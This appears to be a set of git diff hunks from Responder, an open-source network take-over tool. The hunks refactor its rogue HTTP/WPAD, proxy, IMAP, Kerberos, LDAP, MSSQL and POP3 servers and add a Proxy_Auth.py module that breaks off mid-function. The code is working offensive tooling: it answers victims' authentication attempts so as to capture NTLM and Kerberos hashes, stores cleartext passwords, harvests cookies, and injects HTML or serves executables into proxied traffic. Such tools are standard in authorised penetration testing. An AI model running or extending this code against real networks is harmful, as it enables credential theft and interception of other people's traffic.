if ServeOPTIONS(data):
|
||||
return ServeOPTIONS(data)
|
||||
|
||||
if NTLM_Auth:
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||
|
||||
if Packet_NTLM == "\x01":
|
||||
GrabURL(data, client)
|
||||
GrabReferer(data, client)
|
||||
GrabHost(data, client)
|
||||
GrabCookie(data, client)
|
||||
|
||||
@@ -167,17 +203,20 @@ def PacketSequence(data, client):
|
||||
|
||||
Buffer_Ans = IIS_NTLM_Challenge_Ans()
|
||||
Buffer_Ans.calculate(str(Buffer))
|
||||
|
||||
return str(Buffer_Ans)
|
||||
|
||||
if Packet_NTLM == "\x03":
|
||||
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
||||
ParseHTTPHash(NTLM_Auth, client)
|
||||
if IsWebDAV(data):
|
||||
module = "WebDAV"
|
||||
else:
|
||||
module = "HTTP"
|
||||
ParseHTTPHash(NTLM_Auth, client, module)
|
||||
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||
return WPAD_Custom
|
||||
|
||||
return WPAD_Custom
|
||||
else:
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
@@ -187,6 +226,7 @@ def PacketSequence(data, client):
|
||||
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
||||
|
||||
GrabURL(data, client)
|
||||
GrabReferer(data, client)
|
||||
GrabHost(data, client)
|
||||
GrabCookie(data, client)
|
||||
|
||||
@@ -201,15 +241,14 @@ def PacketSequence(data, client):
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||
return WPAD_Custom
|
||||
|
||||
return WPAD_Custom
|
||||
else:
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
|
||||
else:
|
||||
if settings.Config.Basic == True:
|
||||
if settings.Config.Basic:
|
||||
Response = IIS_Basic_401_Ans()
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] Sending BASIC authentication request to %s" % client)
|
||||
@@ -226,8 +265,8 @@ class HTTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
self.request.settimeout(1)
|
||||
for x in range(2):
|
||||
self.request.settimeout(3)
|
||||
data = self.request.recv(8092)
|
||||
Buffer = WpadCustom(data, self.client_address[0])
|
||||
|
||||
@@ -251,42 +290,18 @@ class HTTPS(StreamRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
data = self.exchange.recv(8092)
|
||||
self.exchange.settimeout(0.5)
|
||||
Buffer = WpadCustom(data,self.client_address[0])
|
||||
data = self.exchange.recv(8092)
|
||||
self.exchange.settimeout(0.5)
|
||||
Buffer = WpadCustom(data,self.client_address[0])
|
||||
|
||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||
self.exchange.send(Buffer)
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||
self.exchange.send(Buffer)
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||
|
||||
else:
|
||||
Buffer = PacketSequence(data,self.client_address[0])
|
||||
self.exchange.send(Buffer)
|
||||
else:
|
||||
Buffer = PacketSequence(data,self.client_address[0])
|
||||
self.exchange.send(Buffer)
|
||||
except:
|
||||
pass
|
||||
|
||||
# SSL context handler
|
||||
class SSLSock(ThreadingMixIn, TCPServer):
|
||||
def __init__(self, server_address, RequestHandlerClass):
|
||||
from OpenSSL import SSL
|
||||
|
||||
BaseServer.__init__(self, server_address, RequestHandlerClass)
|
||||
ctx = SSL.Context(SSL.SSLv3_METHOD)
|
||||
|
||||
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
|
||||
ctx.use_privatekey_file(key)
|
||||
ctx.use_certificate_file(cert)
|
||||
|
||||
self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
|
||||
self.server_bind()
|
||||
self.server_activate()
|
||||
|
||||
def shutdown_request(self,request):
|
||||
try:
|
||||
request.shutdown()
|
||||
except:
|
||||
pass
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,8 +14,6 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
import urlparse
|
||||
import select
|
||||
import zlib
|
||||
@@ -29,7 +27,7 @@ IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com',
|
||||
def InjectData(data, client, req_uri):
|
||||
|
||||
# Serve the .exe if needed
|
||||
if settings.Config.Serve_Always == True:
|
||||
if settings.Config.Serve_Always:
|
||||
return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
|
||||
|
||||
# Serve the .exe if needed and client requested a .exe
|
||||
@@ -43,39 +41,33 @@ def InjectData(data, client, req_uri):
|
||||
return data
|
||||
|
||||
RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307']
|
||||
|
||||
if [s for s in RedirectCodes if s in Headers]:
|
||||
if set(RedirectCodes) & set(Headers):
|
||||
return data
|
||||
|
||||
if "content-encoding: gzip" in Headers.lower():
|
||||
Content = zlib.decompress(Content, 16+zlib.MAX_WBITS)
|
||||
|
||||
if "content-type: text/html" in Headers.lower():
|
||||
|
||||
# Serve the custom HTML if needed
|
||||
if settings.Config.Serve_Html == True:
|
||||
if settings.Config.Serve_Html: # Serve the custom HTML if needed
|
||||
return RespondWithFile(client, settings.Config.Html_Filename)
|
||||
|
||||
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
|
||||
HasBody = re.findall('(<body[^>]*>)', Content)
|
||||
Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers))
|
||||
HasBody = re.findall(r'(<body[^>]*>)', Content)
|
||||
|
||||
if HasBody and len(settings.Config.HtmlToInject) > 2:
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))
|
||||
|
||||
Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject))
|
||||
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
|
||||
|
||||
if "content-encoding: gzip" in Headers.lower():
|
||||
Content = zlib.compress(Content)
|
||||
|
||||
data = Headers +'\r\n'+ Content
|
||||
|
||||
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
|
||||
data = Headers +'\r\n\r\n'+ Content
|
||||
else:
|
||||
if settings.Config.Verbose:
|
||||
print text("[PROXY] Returning unmodified HTTP response")
|
||||
|
||||
return data
|
||||
|
||||
class ProxySock:
|
||||
@@ -96,19 +88,17 @@ class ProxySock:
|
||||
def connect(self, address) :
|
||||
|
||||
# Store the real remote adress
|
||||
(self.host, self.port) = address
|
||||
self.host, self.port = address
|
||||
|
||||
# Try to connect to the proxy
|
||||
for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo(
|
||||
self.proxy_host,
|
||||
self.proxy_port,
|
||||
0, 0, socket.SOL_TCP) :
|
||||
0, 0, socket.SOL_TCP):
|
||||
try:
|
||||
|
||||
# Replace the socket by a connection to the proxy
|
||||
self.socket = socket.socket(family, socktype, proto)
|
||||
self.socket.connect(sockaddr)
|
||||
|
||||
except socket.error, msg:
|
||||
if self.socket:
|
||||
self.socket.close()
|
||||
@@ -116,12 +106,12 @@ class ProxySock:
|
||||
continue
|
||||
break
|
||||
if not self.socket :
|
||||
raise socket.error, ms
|
||||
raise socket.error, msg
|
||||
|
||||
# Ask him to create a tunnel connection to the target host/port
|
||||
self.socket.send(
|
||||
("CONNECT %s:%d HTTP/1.1\r\n" +
|
||||
"Host: %s:%d\r\n\r\n") % (self.host, self.port, self.host, self.port));
|
||||
"Host: %s:%d\r\n\r\n") % (self.host, self.port, self.host, self.port))
|
||||
|
||||
# Get the response
|
||||
resp = self.socket.recv(4096)
|
||||
@@ -198,7 +188,7 @@ class ProxySock:
|
||||
|
||||
# Return the (host, port) of the actual target, not the proxy gateway
|
||||
def getpeername(self) :
|
||||
return (self.host, self.port)
|
||||
return self.host, self.port
|
||||
|
||||
# Inspired from Tiny HTTP proxy, original work: SUZUKI Hisao.
|
||||
class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
@@ -268,7 +258,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
#self.send_error(200, "OK")
|
||||
return
|
||||
|
||||
if scm not in ('http') or fragment or not netloc:
|
||||
if scm not in 'http' or fragment or not netloc:
|
||||
self.send_error(400, "bad url %s" % self.path)
|
||||
return
|
||||
|
||||
@@ -354,3 +344,4 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
do_POST = do_GET
|
||||
do_PUT = do_GET
|
||||
do_DELETE=do_GET
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,16 +14,11 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
||||
|
||||
# IMAP4 Server class
|
||||
class IMAP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(IMAPGreeting()))
|
||||
@@ -50,6 +45,5 @@ class IMAP(BaseRequestHandler):
|
||||
## FIXME: Close connection properly
|
||||
## self.request.send(str(ditchthisconnection()))
|
||||
## data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
pass
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,12 +14,9 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
import struct
|
||||
|
||||
def ParseMSKerbv5TCP(Data):
|
||||
MsgType = Data[21:22]
|
||||
@@ -50,8 +47,7 @@ def ParseMSKerbv5TCP(Data):
|
||||
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
if HashLen == 54:
|
||||
elif HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
@@ -60,7 +56,6 @@ def ParseMSKerbv5TCP(Data):
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
else:
|
||||
Hash = Data[48:100]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
@@ -70,8 +65,7 @@ def ParseMSKerbv5TCP(Data):
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
|
||||
def ParseMSKerbv5UDP(Data):
|
||||
MsgType = Data[17:18]
|
||||
@@ -80,7 +74,6 @@ def ParseMSKerbv5UDP(Data):
|
||||
if MsgType == "\x0a" and EncType == "\x17":
|
||||
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[41:42])[0]
|
||||
|
||||
if HashLen == 54:
|
||||
Hash = Data[44:96]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
@@ -90,8 +83,7 @@ def ParseMSKerbv5UDP(Data):
|
||||
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
if HashLen == 53:
|
||||
elif HashLen == 53:
|
||||
Hash = Data[44:95]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[143:144])[0]
|
||||
@@ -100,8 +92,6 @@ def ParseMSKerbv5UDP(Data):
|
||||
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
|
||||
else:
|
||||
Hash = Data[49:101]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
@@ -111,49 +101,39 @@ def ParseMSKerbv5UDP(Data):
|
||||
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
|
||||
class KerbTCP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
|
||||
if KerbHash:
|
||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||
if KerbHash:
|
||||
n, krb, v, name, domain, d, h = KerbHash.split('$')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
|
||||
class KerbUDP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
|
||||
if KerbHash:
|
||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
if KerbHash:
|
||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,24 +14,17 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
||||
from utils import *
|
||||
import struct
|
||||
|
||||
def ParseSearch(data):
|
||||
Search1 = re.search('(objectClass)', data)
|
||||
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
|
||||
Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
|
||||
|
||||
if Search1:
|
||||
if re.search(r'(objectClass)', data):
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
|
||||
if Search2:
|
||||
elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data):
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
if Search3:
|
||||
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
|
||||
def ParseLDAPHash(data, client):
|
||||
@@ -54,7 +47,7 @@ def ParseLDAPHash(data, client):
|
||||
UserOffset = struct.unpack('<H',data[82:84])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
|
||||
WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
|
||||
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + settings.Config.NumChal
|
||||
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
@@ -69,20 +62,15 @@ def ParseLDAPHash(data, client):
|
||||
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
||||
|
||||
def ParseNTLM(data,client):
|
||||
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
|
||||
Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
|
||||
|
||||
if Search1:
|
||||
if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
|
||||
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
||||
NTLMChall.calculate()
|
||||
return str(NTLMChall)
|
||||
|
||||
if Search2:
|
||||
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
||||
ParseLDAPHash(data,client)
|
||||
|
||||
def ParseLDAPPacket(data, client):
|
||||
if data[1:2] == '\x84':
|
||||
|
||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
||||
Operation = data[9:10]
|
||||
@@ -91,7 +79,6 @@ def ParseLDAPPacket(data, client):
|
||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||
|
||||
if Operation == "\x60":
|
||||
|
||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||
UserDomain = data[20:20+UserDomainLen]
|
||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||
@@ -99,7 +86,6 @@ def ParseLDAPPacket(data, client):
|
||||
if AuthHeaderType == "\x80":
|
||||
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
||||
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
'type': 'Cleartext',
|
||||
@@ -116,12 +102,9 @@ def ParseLDAPPacket(data, client):
|
||||
elif Operation == "\x63":
|
||||
Buffer = ParseSearch(data)
|
||||
return Buffer
|
||||
|
||||
else:
|
||||
if settings.Config.Verbose:
|
||||
print text('[LDAP] Operation not supported')
|
||||
elif settings.Config.Verbose:
|
||||
print text('[LDAP] Operation not supported')
|
||||
|
||||
# LDAP Server class
|
||||
class LDAP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
try:
|
||||
@@ -132,6 +115,5 @@ class LDAP(BaseRequestHandler):
|
||||
|
||||
if Buffer:
|
||||
self.request.send(Buffer)
|
||||
|
||||
except socket.timeout:
|
||||
pass
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,15 +14,12 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
||||
from utils import *
|
||||
import struct
|
||||
|
||||
class TDS_Login_Packet():
|
||||
class TDS_Login_Packet:
|
||||
def __init__(self, data):
|
||||
|
||||
ClientNameOff = struct.unpack('<h', data[44:46])[0]
|
||||
@@ -54,6 +51,7 @@ class TDS_Login_Packet():
|
||||
self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
|
||||
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
|
||||
|
||||
|
||||
def ParseSQLHash(data, client):
|
||||
SSPIStart = data[8:]
|
||||
|
||||
@@ -97,17 +95,17 @@ def ParseSQLHash(data, client):
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
|
||||
def ParseSqlClearTxtPwd(Pwd):
|
||||
Pwd = map(ord,Pwd.replace('\xa5',''))
|
||||
Pw = []
|
||||
Pw = ''
|
||||
for x in Pwd:
|
||||
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
|
||||
return ''.join(Pw)
|
||||
Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex')
|
||||
return Pw
|
||||
|
||||
|
||||
def ParseClearTextSQLPass(data, client):
|
||||
|
||||
TDS = TDS_Login_Packet(data)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'MSSQL',
|
||||
'type': 'Cleartext',
|
||||
@@ -120,7 +118,6 @@ def ParseClearTextSQLPass(data, client):
|
||||
|
||||
# MSSQL Server class
|
||||
class MSSQL(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
if settings.Config.Verbose:
|
||||
print text("[MSSQL] Received connection from %s" % self.client_address[0])
|
||||
@@ -130,28 +127,25 @@ class MSSQL(BaseRequestHandler):
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(0.1)
|
||||
|
||||
# Pre-Login Message
|
||||
if data[0] == "\x12":
|
||||
|
||||
if data[0] == "\x12": # Pre-Login Message
|
||||
Buffer = str(MSSQLPreLoginAnswer())
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# NegoSSP
|
||||
if data[0] == "\x10":
|
||||
if data[0] == "\x10": # NegoSSP
|
||||
if re.search("NTLMSSP",data):
|
||||
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
|
||||
Packet.calculate()
|
||||
Buffer = str(Packet)
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
else:
|
||||
ParseClearTextSQLPass(data,self.client_address[0])
|
||||
|
||||
# NegoSSP Auth
|
||||
if data[0] == "\x11":
|
||||
|
||||
if data[0] == "\x11": # NegoSSP Auth
|
||||
ParseSQLHash(data,self.client_address[0])
|
||||
|
||||
except socket.timeout:
|
||||
pass
|
||||
except:
|
||||
self.request.close()
|
||||
pass
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,22 +14,16 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import POPOKPacket
|
||||
|
||||
# POP3 Server class
|
||||
class POP3(BaseRequestHandler):
|
||||
|
||||
def SendPacketAndRead(self):
|
||||
Packet = POPOKPacket()
|
||||
self.request.send(str(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
return data
|
||||
return self.request.recv(1024)
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
@@ -38,7 +32,6 @@ class POP3(BaseRequestHandler):
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].replace("\r\n","")
|
||||
|
||||
@@ -50,11 +43,6 @@ class POP3(BaseRequestHandler):
|
||||
'cleartext': Pass,
|
||||
'fullhash': User+":"+Pass,
|
||||
})
|
||||
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
else:
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
self.SendPacketAndRead()
|
||||
except Exception:
|
||||
pass
|
||||
pass
|
||||
|
||||
111
servers/Proxy_Auth.py
Normal file
111
servers/Proxy_Auth.py
Normal file
@@ -0,0 +1,111 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import SocketServer
|
||||
from HTTP import ParseHTTPHash
|
||||
from packets import *
|
||||
from utils import *
|
||||
|
||||
def GrabUserAgent(data):
|
||||
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
|
||||
if UserAgent:
|
||||
print text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2))
|
||||
|
||||
def GrabCookie(data):
|
||||
Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
|
||||
|
||||
if Cookie:
|
||||
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
||||
if len(Cookie) > 1:
|
||||
if settings.Config.Verbose:
|
||||
print text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2))
|
||||
|
||||
return Cookie
|
||||
return False
|
||||
|
||||
def GrabHost(data):
|
||||
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
|
||||
|
||||
if Host:
|
||||
Host = Host.group(0).replace('Host: ', '')
|
||||
if settings.Config.Verbose:
|
||||
print text("[Proxy-Auth] %s" % color("Host : "+Host, 2))
|
||||
|
||||
return Host
|
||||
return False
|
||||
|
||||
def PacketSequence(data, client):
|
||||
